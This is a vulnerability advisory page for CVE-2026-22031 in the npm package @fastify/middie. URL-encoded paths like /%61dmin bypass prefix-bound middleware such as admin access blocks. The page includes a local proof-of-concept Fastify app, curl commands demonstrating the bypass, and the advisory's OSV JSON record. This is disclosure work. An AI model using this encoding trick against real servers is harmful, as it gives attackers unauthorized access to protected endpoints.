GHSA-CXRG-G7R8-W69P
Vulnerability from github – Published: 2026-01-20 16:34 – Updated: 2026-01-20 16:34Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin', ...) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string.- The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().
- The generated regex expects a decoded path (e.g.,
- Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
1. Normal Request (Blocked):
bash
curl http://localhost:3008/admin
# Output: Forbidden: Access to /admin is blocked
2. Bypass Request (Successful):
bash
curl http://localhost:3008/%61dmin
# Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@fastify/middie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22031"
],
"database_specific": {
"cwe_ids": [
"CWE-177"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T16:34:50Z",
"nvd_published_at": "2026-01-19T16:15:54Z",
"severity": "HIGH"
},
"details": "### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1. **Regex Generation**: When [fastify.use(\u0027/admin\u0027, ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2. **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3. **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n * The generated regex expects a decoded path (e.g., `/admin`).\n * If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n * `middie` assumes the middleware does not apply and calls `next()`.\n4. **Route Execution**: The request proceeds to Fastify\u0027s internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n const result = regexp.exec(url) // \u003c--- \u0027url\u0027 is undecoded.\n if (result) {\n // ... executes middleware ...\n } else {\n that.done() // \u003c--- Middleware skipped on mismatch\n }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require(\u0027fastify\u0027)({ logger: true });\n\nasync function start() {\n // Register middie for Express-style middleware support\n await fastify.register(require(\u0027@fastify/middie\u0027));\n\n // Middleware to block /admin route\n fastify.use(\u0027/admin\u0027, (req, res, next) =\u003e {\n res.statusCode = 403;\n res.end(\u0027Forbidden: Access to /admin is blocked\u0027);\n });\n\n // Sample routes\n fastify.get(\u0027/\u0027, async (request, reply) =\u003e {\n return { message: \u0027Welcome to the homepage\u0027 };\n });\n\n fastify.get(\u0027/admin\u0027, async (request, reply) =\u003e {\n return { message: \u0027Admin panel\u0027 };\n });\n\n // Start server\n try {\n await fastify.listen({ port: 3008 });\n } catch (err) {\n fastify.log.error(err);\n process.exit(1);\n }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1. **Normal Request (Blocked):**\n ```bash\n curl http://localhost:3008/admin\n # Output: Forbidden: Access to /admin is blocked\n ```\n2. **Bypass Request (Successful):**\n ```bash\n curl http://localhost:3008/%61dmin\n # Output: {\"message\":\"Admin panel\"}\n ```\n\n### Impact\n* **Type:** Authentication/Authorization Bypass.\n* **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n* **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.",
"id": "GHSA-cxrg-g7r8-w69p",
"modified": "2026-01-20T16:34:50Z",
"published": "2026-01-20T16:34:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22031"
},
{
"type": "WEB",
"url": "https://github.com/fastify/middie/pull/245"
},
{
"type": "WEB",
"url": "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/middie"
},
{
"type": "WEB",
"url": "https://github.com/fastify/middie/releases/tag/v9.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Fastify Middie Middleware Path Bypass"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.